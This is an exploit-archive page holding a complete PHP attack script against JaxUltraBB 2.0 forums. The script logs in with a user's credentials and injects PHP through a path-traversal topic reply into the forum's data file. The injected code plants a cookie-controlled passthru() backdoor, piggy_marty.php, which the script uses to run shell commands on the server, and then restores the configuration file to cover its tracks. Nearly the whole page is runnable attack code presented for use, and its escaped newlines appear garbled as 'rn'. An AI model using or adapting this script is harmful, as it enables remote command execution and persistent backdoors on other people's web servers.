[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : JaxUltraBB <= 2.0 Topic Reply Command Execution Exploit
# Published : 2006-10-24
# Author : BlackHawk
# Previous Title : UeberProject <= 1.0 (login/secure.php) Remote File Include Vulnerability
# Next Title : Berty Forum <= 1.4 (index.php) Remote Blind SQL Injection Exploit
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "JaxUltraBB v2.0 Topic Reply Command Execution Exploitrn";
echo "by BlackHawk <hawkgotyou@gmail.com>rn";
echo "Thanks to rgod for the php code and Marty for the Lovern";
echo "You need a valid Username and Password to get it workingrnrn";
echo "This exploit will try to create a piggy_marty.php backdoor on the webserverrnrn";
if ($argc<4) {
echo "Usage: php ".$argv[0]." Site Path UserName Password CMDrn";
echo "Host: target server (ip/hostname)rn";
echo "Path: path to PhpBBrn";
echo "Username: Your usernamern";
echo "Password: Your Passwordrn";
echo "CMD: A shell commandrn";
echo "Example:rn";
echo "php ".$argv[0]." localhost /jubb/ admin admin dir C:\rn";
die;
}
/*
Jubb is a quite insecure board..
No XSS prevention, free view MD5 hash of the users passwords and more..
after the DevilTeam Deface Exploit something more usefull ;)
JUBB save all the topics into small files with the same exstensions,
even the forumdata.JaxSQL wich contains all the forum configuration variables;
nothing easyer than append some PHP code into the configuration file and execute it;
this exploit create a piggy_marty.php backdoor, wich you can use directly running again the program;
sorry for my bad english,
BlackHawk hawkgotyou@gmail.com
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$uname=$argv[3];
$password=$argv[4];
$port=80;
$proxy="";
$cmd="";
for ($i=5; $i<=$argc-1; $i++){
$cmd.=" ".$argv[$i];
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
// Check if backdoor already exist
echo "Step 0 - Check if piggy_marty.php already exist..rn";
$packet ="GET ".$p."piggy_marty.php HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: cmd=".$cmd.";rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"69696"))
{
echo "Exploit succeeded...rn";
$temp=explode("69696",$html);
die("rn".$temp[1]."rn");
}
// Do the Login..
echo "Step 1 - Try To Do The Login..rn";
$data="username=$uname";
$data.="&password=$password";
$data.="&submit=Login";
$packet="POST ".$p."login.php HTTP/1.0rn";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*rn";
$packet.="Referer: http://".$host.$path."/login.phprn";
$packet.="Accept-Language: itrn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Accept-Encoding: gzip, deflatern";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closern";
$packet.="Cache-Control: no-cachernrn";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$phpsid = $temp2[0];
// Send The Evil Code
echo "Step 2 - Ok, Now Injecting the Shell..rn";
$data="subject=";
$data.="&message=<?php $fp=fopen("piggy_marty.php","w");fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\$_COOKIE[cmd]=stripslashes($_COOKIE[cmd]);}echo 69696;passthru(\$_COOKIE[cmd]);echo 69696;?>");fclose($fp);chmod("piggy_marty.php",777);?>";
$packet="POST ".$p."post.php?action=reply&forum=../forum&topic=data HTTP/1.0rn";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*rn";
$packet.="Referer: http://".$host.$path."/login.phprn";
$packet.="Accept-Language: itrn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Accept-Encoding: gzip, deflatern";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closern";
$packet.="Cache-Control: no-cachern";
$packet.="Cookie: ".$phpsid."rnrn";
$packet.=$data;
sendpacketii($packet);
$packet="GET ".$p."index.php HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
sleep(1);
echo "Step 3 - Restoring the original File..rn";
$data="subject=";
$data.="&message=<?php $fp=fopen("forumdata.JaxSql","w");fputs($fp,"<?phprn\$setup = $setup;\$forumname = \"$forumname\";\$adminemail = \"$adminemail\";\$hot_post_count = $hot_post_count;\$rules = \"$rules\";echo \"<html><body bgColor='black' background='img/background.jpg' text='white'><title>\$forumname -- Index</title><style>a { text-decoration: none; color: blue }a:visited { color: gray }a:hover { text-decoration: bold; color: red }</style><table><td background='img/topbar.jpg' width='1000' height='100'><img src='img/logo.jpg' width='300' height='100'></td></table><a href='index.php'><img src='img/homeicon.jpg' style='border: outset; border-color: black'>Home</a> <a href='members.php'><img src='img/membersicon.jpg' style='border: outset; border-color: black'>Members</a>\";if (\$_SESSION['usr'] == \"\") {echo \"<a href='register.php'><img src='img/registericon.jpg' style='border: outset; border-color: black'>Register</a> \";echo \" <a href='login.php'><img src='img/loginicon.jpg' style='border: outset; border-color: black'>Login</a>\";} else {echo \" <a href='profile.php'><img src='img/profile.jpg' style='border: outset; border-color: black'>Profile</a>\";echo \" <a href='login.php?logout=true'><img src='img/loginicon.jpg' style='border: outset; border-color: black'>Logout of \".\$_SESSION['usr'].\"</a><br>\";}function online_moved(\$page){\$onlinefile = fopen(\"users/\".\$_SESSION['usr'].\"online.JaxSQL\", \"w\");fwrite(\$onlinefile, \$page.\"{DATA}\".date(\"m\").\"{DATA}\".date(\"d\").\"{DATA}\".date(\"y\").\"{DATA}\".date(\"h\").\"{DATA}\".date(\"i\").\"{DATA}\".date(\"s\"));fclose(\$onlinefile);}?>");fclose($fp);chmod("marty.php",777);?>";
$packet="POST ".$p."post.php?action=reply&forum=../forum&topic=data HTTP/1.0rn";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*rn";
$packet.="Referer: http://".$host.$path."/login.phprn";
$packet.="Accept-Language: itrn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Accept-Encoding: gzip, deflatern";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closern";
$packet.="Cache-Control: no-cachern";
$packet.="Cookie: ".$phpsid."rnrn";
$packet.=$data;
sendpacketii($packet);
$packet="GET ".$p."index.php HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
sleep(1);
echo "Step 4 - All done.. Restart the exploit to enjoy ^_^rn";
?>
# www.Syue.com [2006-10-24]